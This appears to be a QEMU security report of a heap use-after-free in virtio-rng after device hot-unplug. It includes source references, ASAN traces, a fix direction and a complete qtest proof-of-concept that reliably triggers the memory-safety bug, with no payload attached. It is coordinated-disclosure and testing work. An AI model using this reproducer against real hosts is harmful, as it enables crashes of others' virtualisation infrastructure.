Imported by the "Security Issuer Importer" bot, on behalf of the original reporter who disclosed via qemu-security list: * From: `Jia Jia <physicalmtea@gmail.com>` * Date: `30 May, 2026` * Message ID: `<178012211671.447232.15673165105303698229@gmail.com>` **NOTE:** the original reporter can not be copied on this issue so cannot view this ticket while it remains marked confidential. If further information is needed about the disclosure, contact the reporter directly. ---- Please treat this as a QEMU security report. I can reproduce a host-side AddressSanitizer heap-use-after-free in the virtio-rng frontend when a delayed rng-random backend completion arrives after the virtio-rng device has been hot-unplugged. The guest-controlled part is the outstanding virtio-rng request. The lifecycle event is a normal management-side device_del / device unrealize. I am not claiming a guest-only trigger, VM escape, arbitrary host read/write, or access to unrelated host processes. The bug is that virtio-rng stores a frontend-owned pointer as the opaque value in a backend RngRequest: hw/virtio/virtio-rng.c:121 rng_backend_request_entropy(vrng->rng, size, chr_read, vrng); The generic RNG backend stores that pointer until backend completion: backends/rng.c:31-32 req->receive_entropy = receive_entropy; req->opaque = opaque; When rng-random later becomes readable, it calls the saved callback: backends/rng-random.c:50 req->receive_entropy(req->opaque, req->data, len); However, virtio_rng_device_unrealize() does not cancel or detach outstanding backend requests before freeing the frontend object: hw/virtio/virtio-rng.c:232-240 qemu_del_vm_change_state_handler(vrng->vmstate); timer_free(vrng->rate_limit_timer); virtio_del_queue(vdev, 0); virtio_cleanup(vdev); That leaves a stale RngRequest callback with opaque pointing at the freed VirtIORNG object. Tested version -------------- Current qemu.git origin/master checked on 2026-05-30: 81cc5f39aa3042e9c0b2ea772b42a2c8b1488e76 Reproducer shape ---------------- The reproducer is a qtest program. It uses a FIFO-backed rng-random object so the backend request remains pending until the test writes entropy bytes. The sequence is: 1. Create a FIFO and keep it open O_RDWR | O_NONBLOCK so QEMU's rng-random backend does not see EOF. 2. Start QEMU with: -object rng-random,id=rng0,filename=<fifo> -device virtio-rng-pci,id=rngdev,rng=rng0,addr=04.0 3. Initialize virtio-rng through libqos and submit one guest input buffer. 4. The virtio-rng frontend calls rng_backend_request_entropy(..., chr_read, vrng), and rng-random keeps the request pending because the FIFO has no data. 5. Hot-unplug the device with device_del and process the unplug during reset. 6. Write entropy bytes to the FIFO. 7. rng-random dispatches the saved callback. The saved opaque still points to the already freed VirtIORNG object, and ASAN reports a UAF. ASAN evidence ------------- Representative run: ==446000==ERROR: AddressSanitizer: heap-use-after-free on address 0x52d00003a9c0 READ of size 8 at 0x52d00003a9c0 thread T0 #0 object_dynamic_cast_assert ../qom/object.c:1010 #1 VIRTIO_DEVICE include/hw/virtio/virtio.h:89 #2 chr_read ../hw/virtio/virtio-rng.c:50 #3 entropy_available ../backends/rng-random.c:50 #4 aio_dispatch_handler ../util/aio-posix.c:344 #5 aio_dispatch_ready_handlers ../util/aio-posix.c:370 #6 aio_dispatch ../util/aio-posix.c:399 #7 aio_ctx_dispatch ../util/async.c:365 #8 g_main_context_dispatch #9 glib_pollfds_poll ../util/main-loop.c:290 #10 os_host_main_loop_wait ../util/main-loop.c:313 #11 main_loop_wait ../util/main-loop.c:592 #12 qemu_main_loop ../system/runstate.c:950 freed by thread T1 here: #0 __interceptor_free #1 object_finalize ../qom/object.c:674 #2 object_unref ../qom/object.c:1336 SUMMARY: AddressSanitizer: heap-use-after-free ../qom/object.c:1010 in object_dynamic_cast_assert I repeated the same qtest reproducer three times on the same ASAN build. All three runs aborted with the same host-side heap-use-after-free: run 1: exit=134, heap-use-after-free in object_dynamic_cast_assert run 2: exit=134, heap-use-after-free in object_dynamic_cast_assert run 3: exit=134, heap-use-after-free in object_dynamic_cast_assert PoC source ---------- This qtest source is self-contained apart from standard QEMU qtest/libqos helpers: ``` /* * Local qtest probe for virtio-rng backend callback lifetime. * * The test uses a FIFO-backed rng-random object to keep an entropy request * pending, hot-unplugs the virtio-rng frontend, and then makes the backend * complete the stale request. */ #include "qemu/osdep.h" #include "qemu/bswap.h" #include "qemu/module.h" #include "libqtest-single.h" #include "standard-headers/linux/virtio_config.h" #include "standard-headers/linux/virtio_ids.h" #include "standard-headers/linux/virtio_pci.h" #include "standard-headers/linux/virtio_ring.h" #include "libqos/malloc-pc.h" #include "libqos/pci-pc.h" #include "libqos/virtio-pci.h" #include "libqos/virtio.h" #include "hw/pci/pci.h" #define RNG_QUEUE 0 #define RNG_BUF_SIZE 64 #define RNG_TIMEOUT_US (5 * 1000 * 1000) typedef struct RngFifo { char *dir; char *path; int fd; } RngFifo; static QGuestAllocator guest_malloc; static QPCIBus *pcibus; static void rng_fifo_cleanup(void *opaque) { RngFifo *fifo = opaque; if (fifo->fd >= 0) { close(fifo->fd); } unlink(fifo->path); rmdir(fifo->dir); g_free(fifo->path); g_free(fifo->dir); g_free(fifo); } static RngFifo *rng_fifo_create(void) { RngFifo *fifo = g_new0(RngFifo, 1); g_autofree char *tmpl = g_strdup("/var/tmp/qtest-virtio-rng.XXXXXX"); fifo->fd = -1; fifo->dir = g_mkdtemp(tmpl); g_assert_nonnull(fifo->dir); fifo->dir = g_strdup(fifo->dir); fifo->path = g_build_filename(fifo->dir, "entropy.fifo", NULL); g_assert_cmpint(mkfifo(fifo->path, 0600), ==, 0); /* * Keep a writer open so QEMU's nonblocking O_RDONLY FIFO does not see EOF * while the entropy request is supposed to remain pending. */ fifo->fd = open(fifo->path, O_RDWR | O_NONBLOCK); g_assert_cmpint(fifo->fd, >=, 0); g_test_queue_destroy(rng_fifo_cleanup, fifo); return fifo; } static QTestState *rng_start(const char *fifo_path) { g_autofree char *cmd = g_strdup_printf( "-machine pc -m 256M " "-object rng-random,id=rng0,filename=%s " "-device virtio-rng-pci,id=rngdev,rng=rng0,addr=04.0", fifo_path); QTestState *qts = qtest_start(cmd); pc_alloc_init(&guest_malloc, qts, 0); pcibus = qpci_new_pc(qts, &guest_malloc); return qts; } static void rng_stop(QTestState *qts) { qpci_free_pc(pcibus); pcibus = NULL; alloc_destroy(&guest_malloc); qtest_end(); } static void rng_init_device(QVirtioPCIDevice *dev, QVirtQueue **vq) { QPCIAddress addr = { .devfn = QPCI_DEVFN(4, 0) }; uint64_t features; virtio_pci_init(dev, pcibus, &addr); qvirtio_pci_device_enable(dev); qvirtio_start_device(&dev->vdev); g_assert_cmphex(dev->vdev.device_type, ==, VIRTIO_ID_RNG); features = qvirtio_get_features(&dev->vdev); features &= ~((1ull << VIRTIO_RING_F_INDIRECT_DESC) | (1ull << VIRTIO_RING_F_EVENT_IDX) | (1ull << VIRTIO_F_RING_PACKED)); qvirtio_set_features(&dev->vdev, features); *vq = qvirtqueue_setup(&dev->vdev, &guest_malloc, RNG_QUEUE); qvirtio_set_driver_ok(&dev->vdev); } static uint32_t rng_submit_entropy_request(QVirtioPCIDevice *dev, QVirtQueue *vq) { uint64_t buf = guest_alloc(&guest_malloc, RNG_BUF_SIZE); uint32_t head; qtest_memset(global_qtest, buf, 0xa5, RNG_BUF_SIZE); head = qvirtqueue_add(global_qtest, vq, buf, RNG_BUF_SIZE, true, false); qvirtqueue_kick(global_qtest, &dev->vdev, vq, head); return head; } static void rng_complete_backend_request(RngFifo *fifo) { uint8_t entropy[RNG_BUF_SIZE]; ssize_t ret; memset(entropy, 0x5a, sizeof(entropy)); ret = write(fifo->fd, entropy, sizeof(entropy)); g_assert_cmpint(ret, ==, sizeof(entropy)); } static void delayed_backend_completion_after_unplug(void) { RngFifo *fifo = rng_fifo_create(); QTestState *qts = rng_start(fifo->path); QVirtioPCIDevice dev; QVirtQueue *vq; uint32_t head; rng_init_device(&dev, &vq); head = rng_submit_entropy_request(&dev, vq); g_test_message("submitted rng request head=%u", head); /* * The FIFO has no data yet, so rng-random keeps the RngRequest pending. * Process device_del during reset, matching the existing QEMU qtest * hot-unplug pattern for a guest that is not otherwise running. */ qtest_qmp_device_del_send(qts, "rngdev"); qtest_system_reset_nowait(qts); qtest_qmp_eventwait(qts, "DEVICE_DELETED"); rng_complete_backend_request(fifo); qtest_qmp_assert_success(qts, "{ 'execute': 'query-status' }"); g_usleep(RNG_TIMEOUT_US / 20); qtest_qmp_assert_success(qts, "{ 'execute': 'query-status' }"); qvirtqueue_cleanup(dev.vdev.bus, vq, &guest_malloc); qvirtio_pci_device_disable(&dev); g_free(dev.pdev); rng_stop(qts); } int main(int argc, char **argv) { g_test_init(&argc, &argv, NULL); qtest_add_func("/virtio-rng/delayed-backend-completion-after-unplug", delayed_backend_completion_after_unplug); return g_test_run(); } ``` Fix direction ------------- The frontend should not leave backend RngRequest objects with callbacks that reference a VirtIORNG object that is being unrealized. One local fix direction is to add a backend helper that removes pending requests matching a callback/opaque pair, and call it from virtio_rng_device_unrealize() before virtio_cleanup(). This avoids canceling unrelated requests if an RNG backend is shared. Another possible fix is to make the frontend own a reference-counted request context that remains alive until backend completion, but that is a larger lifetime change. Public duplicate check ---------------------- I did not find a public report or public patch for this exact virtio-rng/rng-random delayed backend completion after virtio-rng hot-unplug use-after-free. Checked material: * qemu.git history for hw/virtio/virtio-rng.c, backends/rng.c, backends/rng-random.c, backends/rng-egd.c, and backends/rng-builtin.c. * Local git history searches for virtio-rng, rng-random, rng_backend_request_entropy, rng_backend_finalize_request, virtio_rng_device_unrealize, chr_read, UAF, and use-after-free. * Authenticated GitLab project searches over issues, merge requests, commits, and blobs using these cross-check terms: virtio-rng use-after-free, rng-random use-after-free, virtio-rng hot-unplug, virtio-rng device_del, rng_backend_request_entropy, virtio_rng_device_unrealize, entropy_available chr_read, RngRequest opaque, receive_entropy opaque, and delayed completion. * Public searches across qemu-devel/lore, Patchew, and QEMU GitLab terms for virtio-rng, rng-random, device_del, hot-unplug, chr_read, rng_backend_request_entropy, heap-use-after-free, and use-after-free. Related historical commits I found: * 8cc6774354 ("virtio-rng: disable timer on device removal") only deletes the rate-limit timer on remove. It does not cancel pending backend RngRequest callbacks. * d1f3fc24f8 ("tests: virtio-rng: Check if hot-plug/unplug works") adds a basic hotplug/unplug test. It does not create a delayed rng-random backend completion after unplug. * 60253ed1e6 ("rng: add request queue support to rng-random") made rng-random use the common pending request queue. * 3c52ddcdc5 ("rng: remove the unused request cancellation code") removed an unused generic cancellation entry point; it was not a fix for this path. * 522bbb191c ("virtio: Free rnd virqueue at unrealize()") added queue cleanup at virtio-rng unrealize, but does not cancel pending backend RNG requests. * f1a6cf3ef7 ("spapr_rng: fix race with main loop") fixes a different rng-random ordering race in the sPAPR RNG path. It does not touch virtio-rng hot-unplug or stale frontend callback ownership. Please acknowledge the report as: Reported-by: Jia Jia <physicalmtea@gmail.com>